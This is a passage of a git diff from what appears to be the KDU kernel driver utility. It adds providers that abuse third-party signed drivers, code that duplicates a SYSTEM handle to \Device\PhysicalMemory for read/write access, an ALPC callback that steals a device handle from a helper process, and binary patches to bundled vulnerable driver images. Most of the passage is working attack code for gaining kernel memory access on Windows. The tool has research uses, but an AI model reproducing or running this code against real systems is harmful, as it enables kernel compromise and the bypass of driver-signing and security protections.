z$IlsgoA#ZeENhjv!6Z@dPdhrZUVx|w8ZP-M1)JH*R3)X+fLr`vi$0)%A>|vfd&8h= znxq$>^rD`2+EHqoF}JD-JO)3i`(_v|M7Z}Dke8181iDra1EF%+vtPjz7Bpa-PJ7qf zdg{6!@Ox&9Jy+GBb*b6yIXUf|+*yhClIq9|tv2OWk`VkoeAHsBGf1 g=O}BVa+eoaFpCE?Gux43`5jS3?=W;Myb|VC&Y8L=H2?qr diff --git a/Source/Hamakaze/sup.cpp b/Source/Hamakaze/sup.cpp index 68c1754..7927c4b 100644 --- a/Source/Hamakaze/sup.cpp +++ b/Source/Hamakaze/sup.cpp @@ -4,9 +4,9 @@ * * TITLE: SUP.CPP * -* VERSION: 1.31 +* VERSION: 1.32 * -* DATE: 14 Apr 2023 +* DATE: 10 Jun 2023 * * Program global support routines. * @@ -314,6 +314,131 @@ BOOL WINAPI supReadWritePhysicalMemory( return bResult; } +/* +* supOpenPhysicalMemory2 +* +* Purpose: +* +* Locate and open physical memory section for read/write. +* +*/ +BOOL WINAPI supOpenPhysicalMemory2( + _In_ HANDLE DeviceHandle, + _In_ pfnDuplicateHandleCallback DuplicateHandleCallback, + _Out_ PHANDLE PhysicalMemoryHandle) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_NOT_FOUND; + ULONG sectionObjectType = (ULONG)-1; + HANDLE sectionHandle = NULL; + PSYSTEM_HANDLE_INFORMATION_EX handleArray = NULL; + UNICODE_STRING ustr; + OBJECT_ATTRIBUTES obja; + UNICODE_STRING usSection; + + do { + + *PhysicalMemoryHandle = NULL; + + RtlInitUnicodeString(&ustr, L"\\KnownDlls\\kernel32.dll"); + InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS ntStatus = NtOpenSection(§ionHandle, SECTION_QUERY, &obja); + + if (!NT_SUCCESS(ntStatus)) { + dwError = RtlNtStatusToDosError(ntStatus); + break; + } + + handleArray = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation); + if (handleArray == NULL) { + dwError = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + ULONG i; + DWORD currentProcessId = GetCurrentProcessId(); + + for (i = 0; i < handleArray->NumberOfHandles; i++) { + if (handleArray->Handles[i].UniqueProcessId == currentProcessId && + handleArray->Handles[i].HandleValue == (ULONG_PTR)sectionHandle) + { + sectionObjectType = handleArray->Handles[i].ObjectTypeIndex; + break; + } + } + + NtClose(sectionHandle); + sectionHandle = NULL; + + if (sectionObjectType == (ULONG)-1) { + dwError = ERROR_INVALID_DATATYPE; + break; + } + + RtlInitUnicodeString(&usSection, L"\\Device\\PhysicalMemory"); + + for (i = 0; i < handleArray->NumberOfHandles; i++) { + if (handleArray->Handles[i].UniqueProcessId == SYSTEM_PID_MAGIC && + handleArray->Handles[i].ObjectTypeIndex == (ULONG_PTR)sectionObjectType && + handleArray->Handles[i].GrantedAccess == SECTION_ALL_ACCESS) + { + HANDLE testHandle = NULL; + + if (DuplicateHandleCallback(DeviceHandle, + UlongToHandle(SYSTEM_PID_MAGIC), + NULL, + (HANDLE)handleArray->Handles[i].HandleValue, + &testHandle, + MAXIMUM_ALLOWED, + 0, + 0)) + { + union { + BYTE* Buffer; + POBJECT_NAME_INFORMATION Information; + } NameInfo; + + NameInfo.Buffer = NULL; + + ntStatus = supQueryObjectInformation(testHandle, + ObjectNameInformation, + (PVOID*)&NameInfo.Buffer, + NULL, + (PNTSUPMEMALLOC)supHeapAlloc, + (PNTSUPMEMFREE)supHeapFree); + + if (NT_SUCCESS(ntStatus) && NameInfo.Buffer) { + + if (RtlEqualUnicodeString(&usSection, &NameInfo.Information->Name, TRUE)) { + *PhysicalMemoryHandle = testHandle; + bResult = TRUE; + } + + supHeapFree(NameInfo.Buffer); + } + + if (bResult == FALSE) + NtClose(testHandle); + } + + if (bResult) + break; + + } + } + + } while (FALSE); + + if (sectionHandle) NtClose(sectionHandle); + if (handleArray) supHeapFree(handleArray); + + if (bResult) dwError = ERROR_SUCCESS; + + SetLastError(dwError); + return bResult; +} + /* * supOpenPhysicalMemory * @@ -3355,3 +3480,99 @@ VOID supShowWin32Error( Win32Error); } } + +/* +* supIpcOnException +* +* Purpose: +* +* ALPC receive exception callback. +* +*/ +VOID CALLBACK supIpcOnException( + _In_ ULONG ExceptionCode, + _In_opt_ PVOID UserContext +) +{ + UNREFERENCED_PARAMETER(UserContext); + + supPrintfEvent(kduEventError, + "[!] Exception 0x%lx thrown during IPC callback\r\n", ExceptionCode); +} + +/* +* supIpcDuplicateHandleCallback +* +* Purpose: +* +* ALPC receive message callback for IPC_GET_HANDLE case. +* +*/ +VOID CALLBACK supIpcDuplicateHandleCallback( + _In_ PCLIENT_ID ClientId, + _In_ PKDU_MSG Message, + _In_opt_ PVOID UserContext +) +{ + KDU_CONTEXT* Context = (PKDU_CONTEXT)UserContext; + + if (Context == NULL) + return; + + __try { + + if (Message->Function == IPC_GET_HANDLE && + Message->Status == STATUS_SECRET_TOO_LONG) + { + HANDLE hProcess = NULL, hNewHandle = NULL; + OBJECT_ATTRIBUTES obja; + + InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL); + + if (NT_SUCCESS(NtOpenProcess(&hProcess, + PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE | PROCESS_TERMINATE, + &obja, + ClientId))) + { + PVOID wow64Information = NULL; + ULONG returnLength; + BOOL validLength = FALSE; + + if (NT_SUCCESS(NtQueryInformationProcess(hProcess, + ProcessWow64Information, + &wow64Information, + sizeof(wow64Information), + &returnLength))) + { + if (wow64Information == NULL) + validLength = (Message->ReturnedLength == sizeof(HANDLE)); + else + validLength = (Message->ReturnedLength == sizeof(ULONG)); + + if (validLength) { + + if (NT_SUCCESS(NtDuplicateObject( + hProcess, + (HANDLE)Message->Data, + NtCurrentProcess(), + &hNewHandle, + 0, + 0, + DUPLICATE_SAME_ACCESS))) + { + Context->DeviceHandle = hNewHandle; + } + + } + + } + NtTerminateProcess(hProcess, STATUS_TOO_MANY_SECRETS); + NtClose(hProcess); + } + + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + return; + } +} diff --git a/Source/Hamakaze/sup.h b/Source/Hamakaze/sup.h index 3b96aa7..73adc75 100644 --- a/Source/Hamakaze/sup.h +++ b/Source/Hamakaze/sup.h @@ -4,9 +4,9 @@ * * TITLE: SUP.H * -* VERSION: 1.31 +* VERSION: 1.32 * -* DATE: 08 Apr 2023 +* DATE: 10 Jun 2023 * * Support routines header file. * @@ -42,7 +42,7 @@ typedef BOOL(CALLBACK* pfnOpenProcessCallback)( typedef BOOL(CALLBACK* pfnDuplicateHandleCallback)( _In_ HANDLE DeviceHandle, _In_ HANDLE SourceProcessId, //some drivers need pid not handle - _In_ HANDLE SourceProcessHandle, + _In_opt_ HANDLE SourceProcessHandle, _In_ HANDLE SourceHandle, _Out_ PHANDLE TargetHandle, _In_ ACCESS_MASK DesiredAccess, @@ -138,6 +138,11 @@ BOOL WINAPI supReadWritePhysicalMemory( _In_ ULONG NumberOfBytes, _In_ BOOLEAN DoWrite); +BOOL WINAPI supOpenPhysicalMemory2( + _In_ HANDLE DeviceHandle, + _In_ pfnDuplicateHandleCallback DuplicateHandleCallback, + _Out_ PHANDLE PhysicalMemoryHandle); + BOOL WINAPI supOpenPhysicalMemory( _In_ HANDLE DeviceHandle, _In_ pfnOpenProcessCallback OpenProcessCallback, @@ -386,3 +391,12 @@ VOID supShowHardError( VOID supShowWin32Error( _In_ LPCSTR Message, _In_ DWORD Win32Error); + +VOID CALLBACK supIpcOnException( + _In_ ULONG ExceptionCode, + _In_opt_ PVOID UserContext); + +VOID CALLBACK supIpcDuplicateHandleCallback( + _In_ PCLIENT_ID ClientId, + _In_ PKDU_MSG Message, + _In_opt_ PVOID UserContext); diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 69c68b9..09e1c27 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(36, + Context = KDUProviderCreate(38, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index 8a63999..e602a21 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -6,7 +6,7 @@ * * VERSION: 1.32 * -* DATE: 20 May 2023 +* DATE: 10 Jun 2023 * * Global consts. * @@ -27,10 +27,13 @@ #define KDU_MIN_NTBUILDNUMBER 0x1DB1 //Windows 7 SP1 #define KDU_MAX_NTBUILDNUMBER 0xFFFFFFFF //Undefined +#define IPC_GET_HANDLE 0x1337 + #define KDU_SYNC_MUTANT 0x2306 #define NT_REG_PREP L"\\Registry\\Machine" #define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS" +#define WDAC_POLICY_FILE L"\\systemroot\\system32\\CodeIntegrity\\driversipolicy.p7b" #define PROCEXP152 L"PROCEXP152" #define PROCEXP1627_DESC L"Process Explorer v16" @@ -48,6 +51,9 @@ #define PHYMEM_BASE_DESC "PhyMem by akui" #define RWEVERYTHING_BASE_DESC "RWEverything by ckimchan.tw" +#define ZODIACON_SYSEXP_EXE L"SysExp.exe" +#define ZODIACON_REGEXP_EXE L"RegExp.exe" + #define CPU_VENDOR_INTEL "GenuineIntel" #define CPU_VENDOR_INTEL_LENGTH sizeof(CPU_VENDOR_INTEL) - sizeof(CHAR) #define CPU_VENDOR_AMD "AuthenticAMD" @@ -132,8 +138,8 @@ #define IDR_MSI_WINIO 137 #define IDR_HP_ETDSUPP 138 #define IDR_KEXPLORE 139 -#define IDR_RESERVED6 140 -#define IDR_RESERVED7 141 +#define IDR_KOBJEXP 140 +#define IDR_KREGEXP 141 #define IDR_RESERVED8 142 // @@ -176,6 +182,8 @@ #define KDU_PROVIDER_MSI_WINIO 34 #define KDU_PROVIDER_HP_ETDSUPPORT 35 #define KDU_PROVIDER_KEXPLORE 36 +#define KDU_PROVIDER_KOBJEXP 37 +#define KDU_PROVIDER_KREGEXP 38 #define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL_NAL diff --git a/Source/Shared/ldr/ldr.cpp b/Source/Shared/ldr/ldr.cpp index 6cea8c3..03c6fc9 100644 --- a/Source/Shared/ldr/ldr.cpp +++ b/Source/Shared/ldr/ldr.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2022 +* (C) COPYRIGHT AUTHORS, 2022 - 2023 * * TITLE: LDR.CPP * -* VERSION: 1.13 +* VERSION: 1.14 * -* DATE: 05 Feb 2022 +* DATE: 10 Jun 2023 * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -122,41 +122,56 @@ LPVOID PELoaderGetProcAddress( _In_ PCHAR RoutineName ) { - PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - PIMAGE_FILE_HEADER fh1 = NULL; - PIMAGE_OPTIONAL_HEADER32 oh32 = NULL; - PIMAGE_OPTIONAL_HEADER64 oh64 = NULL; - - USHORT OrdinalNumber; - PULONG NameTableBase; - PUSHORT NameOrdinalTableBase; - PULONG Addr; - LONG Result; - ULONG High, Low, Middle = 0; - - fh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + sizeof(DWORD)); - oh32 = (PIMAGE_OPTIONAL_HEADER32)((ULONG_PTR)fh1 + sizeof(IMAGE_FILE_HEADER)); - oh64 = (PIMAGE_OPTIONAL_HEADER64)oh32; - - if (fh1->Machine == IMAGE_FILE_MACHINE_AMD64) { - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase + - oh64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + USHORT OrdinalNumber; + PULONG NameTableBase; + PUSHORT NameOrdinalTableBase; + PULONG Addr; + LONG Result; + ULONG High, Low, Middle = 0; + + union { + PIMAGE_NT_HEADERS64 nt64; + PIMAGE_NT_HEADERS32 nt32; + PIMAGE_NT_HEADERS nt; + } NtHeaders; + + NtHeaders.nt = RtlImageNtHeader(ImageBase); + + if (NtHeaders.nt == NULL) { + SetLastError((DWORD)STATUS_ACCESS_VIOLATION); + return NULL; + } + + if (NtHeaders.nt->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) { + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RtlOffsetToPointer(ImageBase, + NtHeaders.nt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + } + else if (NtHeaders.nt->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RtlOffsetToPointer(ImageBase, + NtHeaders.nt32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); } - else { - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase + - oh32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + else + { + SetLastError(ERROR_UNSUPPORTED_TYPE); + return NULL; } - NameTableBase = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNames); - NameOrdinalTableBase = (PUSHORT)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNameOrdinals); + NameTableBase = (PULONG)RtlOffsetToPointer(ImageBase, (ULONG)ExportDirectory->AddressOfNames); + NameOrdinalTableBase = (PUSHORT)RtlOffsetToPointer(ImageBase, (ULONG)ExportDirectory->AddressOfNameOrdinals); Low = 0; High = ExportDirectory->NumberOfNames - 1; while (High >= Low) { + Middle = (Low + High) >> 1; + Result = _strcmp_a( RoutineName, - (char*)ImageBase + NameTableBase[Middle] - ); + (char*)RtlOffsetToPointer(ImageBase, NameTableBase[Middle])); + if (Result < 0) { High = Middle - 1; } @@ -168,7 +183,7 @@ LPVOID PELoaderGetProcAddress( break; } } - } //while + } if (High < Low) return NULL; @@ -176,6 +191,6 @@ LPVOID PELoaderGetProcAddress( if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) return NULL; - Addr = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfFunctions); - return (LPVOID)((PBYTE)ImageBase + Addr[OrdinalNumber]); + Addr = (PULONG)RtlOffsetToPointer(ImageBase, (ULONG)ExportDirectory->AddressOfFunctions); + return (LPVOID)RtlOffsetToPointer(ImageBase, Addr[OrdinalNumber]); } diff --git a/Source/Taigei/Taigei.vcxproj b/Source/Taigei/Taigei.vcxproj index 6ae0f5c..5fa8fbf 100644 --- a/Source/Taigei/Taigei.vcxproj +++ b/Source/Taigei/Taigei.vcxproj @@ -323,6 +323,7 @@ + diff --git a/Source/Taigei/Taigei.vcxproj.filters b/Source/Taigei/Taigei.vcxproj.filters index a3c89b0..a24223e 100644 --- a/Source/Taigei/Taigei.vcxproj.filters +++ b/Source/Taigei/Taigei.vcxproj.filters @@ -45,6 +45,9 @@ Source Files + + minirtl + diff --git a/Source/Taigei/export.def b/Source/Taigei/export.def index ca66226..f6c8b04 100644 --- a/Source/Taigei/export.def +++ b/Source/Taigei/export.def @@ -8,3 +8,4 @@ SB_SMS_WriteBlockEx = StubFunc SB_SMS_GetCtrlCountEx = StubFunc SB_SMS_QuickCommandEx = StubFunc RegisterForProvider = UnlockAsIO +RegisterForProvider2 = ExecutableMain diff --git a/Source/Taigei/ipc.cpp b/Source/Taigei/ipc.cpp index 92a0dd5..8a34691 100644 --- a/Source/Taigei/ipc.cpp +++ b/Source/Taigei/ipc.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2022 +* (C) COPYRIGHT AUTHORS, 2022 - 2023 * * TITLE: IPC.CPP * -* VERSION: 1.20 +* VERSION: 1.21 * -* DATE: 10 Feb 2022 +* DATE: 10 Jun 2023 * * Inter-process communication. * @@ -19,7 +19,7 @@ #include "global.h" -#define DBK_GET_HANDLE 0x1337 +#define IPC_GET_HANDLE 0x1337 NTSTATUS IpcConnectToPort( _In_ LPCWSTR PortName, @@ -102,7 +102,7 @@ VOID IpcSendHandleToServer( if (NT_SUCCESS(ntStatus)) { ntStatus = IpcSendReply(portHandle, - DBK_GET_HANDLE, + IPC_GET_HANDLE, (ULONG64)ProcessHandle, sizeof(ProcessHandle), STATUS_SECRET_TOO_LONG); diff --git a/Source/Taigei/main.cpp b/Source/Taigei/main.cpp index 2e7207a..fbe403a 100644 --- a/Source/Taigei/main.cpp +++ b/Source/Taigei/main.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 - 2022 +* (C) COPYRIGHT AUTHORS, 2020 - 2023 * * TITLE: MAIN.CPP * -* VERSION: 1.20 +* VERSION: 1.21 * -* DATE: 10 Feb 2022 +* DATE: 10 June 2023 * * Taigei helper dll (part of KDU project). * @@ -34,6 +34,92 @@ VOID WINAPI StubFunc( } +#define ZODIACON_KOBJEXP L"\\Device\\KObjExp" +#define ZODIACON_KREGEXP L"\\Device\\KRegExp" + +/* +* ExecutableMain +* +* Purpose: +* +* Entry point for exe mode. +* +*/ +int ExecutableMain() +{ +#define EXPORT + + LPWSTR* lpszArgList; + LPWSTR lpTargetDevice; + ULONG ulKey = 0; + INT nArgs = 0; + + lpszArgList = CommandLineToArgvW(GetCommandLineW(), &nArgs); + if (lpszArgList) { + + if (nArgs > 0) { + + ulKey = _strtoul(lpszArgList[0]); + + switch (ulKey) { + case 1: + lpTargetDevice = (LPWSTR)ZODIACON_KREGEXP; + break; + case 0: + default: + lpTargetDevice = (LPWSTR)ZODIACON_KOBJEXP; + break; + } + + HANDLE deviceHandle; + NTSTATUS ntStatus; + UNICODE_STRING deviceName; + IO_STATUS_BLOCK ioStatusBlock; + OBJECT_ATTRIBUTES objectAttributes; + LARGE_INTEGER liTimeOut; + + RtlInitUnicodeString(&deviceName, lpTargetDevice); + InitializeObjectAttributes(&objectAttributes, &deviceName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntStatus = NtCreateFile(&deviceHandle, + GENERIC_READ | GENERIC_WRITE, + &objectAttributes, + &ioStatusBlock, + NULL, + 0, + 0, + FILE_OPEN, + 0, + NULL, + 0); + + if (NT_SUCCESS(ntStatus)) { + + IpcSendHandleToServer(deviceHandle); + + liTimeOut.QuadPart = UInt32x32To64(3000, 10000); + liTimeOut.QuadPart *= -1; + + // + // Infinite loop. + // + while (TRUE) { + NtDelayExecution(0, (PLARGE_INTEGER)&liTimeOut); + } + + /// + // Never here. + // + } + + } + + LocalFree((HLOCAL)lpszArgList); + } + + ExitProcess(0); +} + #ifdef _WIN64 /* diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 85b8fe7..ba9842c 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -207,7 +207,9 @@ + + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index bc347af..e5ae477 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -169,6 +169,12 @@ Resource Files + + Resource Files + + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 21b4ba302e93a41abd8ebee52e32aa9d66901af6..4d5f0cbe7a713addeda7f26b572d6f01f4626620 100644 GIT binary patch delta 27 jcmZp;$Jua?lWRl62J`iDMMjIu8@XD!7`JjUeaiy?pZf~C delta 27 jcmZp;$Jua?lWRl62J`-{-Ul|d8z`j!U(tltZ+ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 195ca5b6934ad92e37a4cf3b89d679e0a051558c..0089059366271f3019bb38d97bef4298a28c44b3 100644 GIT binary patch delta 24 gcmdmcj&<)jR;~>V8_eT7nT!^fH*#&|Vl++%0EKP|T>t<8 delta 24 gcmdmcj&<)jR;~>V8_e@pMjhB()5x`zi_th80FlZHhyVZp diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index caae9200f12fdf2ba33abdd506cd43a219a9fac8..dbc0ed216dcfdafa8584d30f95b498e491539f86 100644 GIT binary patch delta 18 acmZ3*xQdZ$L&FC1`YZ;c#pM&Z761T1T?Xg? delta 18 acmZ3*xQdZ$L&FC1`AZ`XY_6HewEzG~bqGEH diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index 01239dc890d0a3bf8133cf161eb59d7d08c62d0f..4cfddfdac96d8c6b42d2a329bab984edbd1a943d 100644 GIT binary patch delta 19 acmcbrcU6yTL&FC1dRaE3#pN5hyu|@fvj;N( delta 19 bcmcbrcU6yTL&FC1_4#oJHrH(A@)idGT#yK` diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index d39250c764aa9facada2d3a0d3e4e248e86e56f3..1d88ce3440702074bdbf6fa7327923595d4a4773 100644 GIT binary patch delta 19 bcmX@eevqAOL&FC1`Ttmr7ME}2+Rh9BQkn=A delta 19 bcmX@eevqAOL&FC1``IxEHrH(A+Rh9BR{{vU diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index 0bc87e799ec8a7b15a3f36d7b1d5a44a83fcdd11..6df95200dbb540236558b70a32f509957307b465 100644 GIT binary patch delta 21 dcmaF4iSgwoMy?GF8_eh1su(RU-^djo2>@-o2^jzY delta 21 dcmaF4iSgwoMy?GF8_duDDm}2dW+PX8BmjLQ3i<#5 diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index dfc715f7972da6a0dafd43c4710f4a963c9de136..6e44f07aec09e64af82a30b1f2232d815669dd5b 100644 GIT binary patch delta 21 dcmdmWhH=*!My?GF8_e}zDH<&<-^gW<1^{cI2?qcG delta 21 dcmdmWhH=*!My?GF8_ex13lD6r*~n#(1^{m&37G%@ diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index fc895f474ee1737a97bbb92adb56a74fd9be466b..942f0bbf11d7c687a22c3fbf45e441be9b57287c 100644 GIT binary patch delta 19 bcmewm_#u#ML&FC1{Est?7ng73dZqyYW!DL^ delta 19 bcmewm_#u#ML&FC1{0R>aZm!wL^-Kc*X%PxN diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index 58a373e185e5aaef9c87be22db954416ac2a50c4..3462c9cdee98ea2b376eff252a25a172a2645e92 100644 GIT binary patch delta 21 dcmX@QmGS6SMy?GF8_eU~Pa7{T-^jH)3IJ??38nx5 delta 21 dcmX@QmGS6SMy?GF8_fHsiXPZpvyp3e6aa6+3J?GQ diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index ad774738c3e6bf817a6a6ea693d984e1c8562aef..1f8c07184a792354a857ac9982936e1529efffe2 100644 GIT binary patch delta 21 dcmZ2{hjH;8My?GF8_e$?)-+mNzL85Z4*+lq33~tl delta 21 dcmZ2{hjH;8My?GF8_e}TS0310vyn?O4*+qs3GM&@ diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index d97a98c0e9ff064c9084794631f578843a458fdd..36b378dc2140eca3564e21d91b174b5e8ecd014b 100644 GIT binary patch delta 19 bcmZp&YqI0o(6GVWe(rta#pN5he#ij;QCA3i delta 19 acmZp&YqI0o(6GV0UsmJ5=9-OMKjZ*TlL$5d diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index 7f9abeddd970f626a8e6a9dc7c269022baadbad7..f2696d904fea96665c5ef40ef88466a12453f9a4 100644 GIT binary patch delta 21 dcmeykhVkPXMy?GF8_egQo@%_fd?QzS7yx#!3L*di delta 21 dcmeykhVkPXMy?GF8_eU6JwCX(W+PX67yx?B3eErk diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index 96786e23d13d3f1c4815f881671df79bc44eb58d..ee1bc1e617610bbf665cf6dec9d842ec48f45609 100644 GIT binary patch delta 21 dcmX@Ghw;E3My?GF8_fM*O*CFyzLCo;4ghZj34#Cs delta 21 dcmX@Ghw;E3My?GF8_eHtyMJ(V%|H~@M)3f}+# diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index 7bc2f3ae96d95af61ca90a6ba06c2f705b7d2881..b561c00cfb7230584b53892ccfdbc12dd557718a 100644 GIT binary patch delta 19 bcmccMe!-nzFbCYK;nv diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index 5371cbe5a73862807730e87d670011e19934b933..c1333c865bb101a360062936ed0fb813eb4eac38 100644 GIT binary patch delta 19 bcmcZ~dOwtFL&FC1dgCtR#pN5hu4(}QU0n#x delta 19 bcmcZ~dOwtFL&FC1^9&acZm!wLbyW)hWkm_p diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin index 2dbe113799433bf4268b4ac676d3fa641054a4ce..1e37369d50263135e4b0224fda1684f8fa5a6ac1 100644 GIT binary patch delta 19 acmX>WbS#K#L&FAh`HlwT#pN5hY%~E^EeGZR delta 19 bcmX>WbS#K#L&FAh{jX;ZZm!wLWuplIVqFPR diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index 4db3af4744b989da838079e5a4bf8a8330f958f4..c783c14b09b77f20615690350f18d43664f5cc98 100644 GIT binary patch delta 21 dcmX@v!+5fXk!wT42J`=Z$Bh@4Z{)If0|0D-32y)Z delta 21 dcmX@v!+5fXk!wT426KLG!2_FXHgeg!0RUi&2uJ_` diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 00f1678dcf3546d2b4e4eb26894052c66cc02138..c298ccefc4d9b305cdf92e1ea748306bdd287657 100644 GIT binary patch delta 19 acmbR2IN6bFL&FC1d^R4V#pN5hIu!s(HwOCv delta 19 bcmbR2IN6bFL&FC1^M{iUY_8eJ)u{jgTCWKb diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin new file mode 100644 index 0000000000000000000000000000000000000000..cc8cbdad750ba368d346a666a08f61a5dacbbb9e GIT binary patch literal 8339 zcmV;EAZ*{TfUq~8aSJk|cLA_^=Bp23RJg0*&-pTJVSvQfh8l3-!GoWrTs_-O*PPXU z%WY*YfLY~z>-MZ#@Oh?#4{D>38z-hZx^(z0Xd6)SL;EKY$dBP*7t6fAlPGnkIr%-2 zOQ4o1bD2`ZIDVCLnIF$`vWn`7V|~RTSd?SRnk8}n;H&XZ&N=y39USsP?JE<$UaooFJs#Hx@$i1o z8VUd*fr^8V7eC!~?|Z5gFR*trIpQn6CmJV&q1Pp;W%Hn;4A*GL7Wh+aa-}iOB%;2- z7w^5z^n9otpl?+D!>2nUG7*%NXLSAt`ozbpy{;*V)Aw_D!}(<1PIfd~Q>TDZSi_fI z)%XLGK80A6?VL$PBw!nSS=xr>Q<0W|`2~N!QaahU!5atC64R`Rt)@^S4&M+pR*kRZ zvos|7M_S0qeDVmee|DwK6&}lv;|D7`e%P}?^)cbw;Z9%VnZEmA9~0kD3IS4T{xg$2 zx0WMc>3=-+IhE^-?CIW*6Sbib3Ac!He_G~NrIAFc_j&QRE?QRLT9SBCcB^wZhOqq+ zrY7ZG#H>)kbu!ES9Wvn4_(DZJVhwTH%n^R%w#tRna)ju3=$lj|_m*TM>|M}c%m;Ne zcLv8$`DKH&Co-nj3l=?pV3weP8;2Fk><2_QpWAdP#Duv@! z5&NNI5qv*n`HLczT0mR-iGv0LS&moJP(pM;i7a=Z77{tAeNw{M7(XS0U5&=>YOI#- zW$Vx6$sUHY-sWMC9@#FzzdzLC)_Sr$p|f%<4Wqg2XbRKasC-*ErkxI~sg#nywmYwg6-y?J7Cdjl5}k$V{Jurq_FiuapR411m+sg4#Jnr~m8JPl5eq@8FqdB};*GTua9H(DiY z%@(HQ*tq=e%fcJOs4wC1KK%Z-}#CdSi*mTDL3 zz542Wy-92384)cf-b#+O7qRwK8ox?HoJZbI9R}BR>IdYO`a)*Vppnq`&^`mE%^|sEd2$fEs$Y`9Mv1fKGq;1K*l|uwiEQT@bRj39!G{z!WQ~=H zEZh0E@-G+6oN=<45^7V2bfW&*S83yhP1y;%j$e1-$j*}fEb$s=8R^`)mh?-iSJep} zK5`=d8Q~F-I$fr4x8caj$$HKKe*7&Q+huWHv2VRxhz+)*pdw3dSMBWhe$GtB+O04@ zbEC`19_KSnclJ5CAM9qLG?dr#MdZQ*X&N(rMXc!$tXBiz?UxnY9^LZ6RQ^MSiMe;wwFb$rzAg!8tJ3w%%E*0WB_eHzpyo z)(MsJn1?T7F3Y+x7k+1GcD0cc(C1jmAjmgpD*n~~#P1x0H~l`w`oiWo3Emz=%$s|S 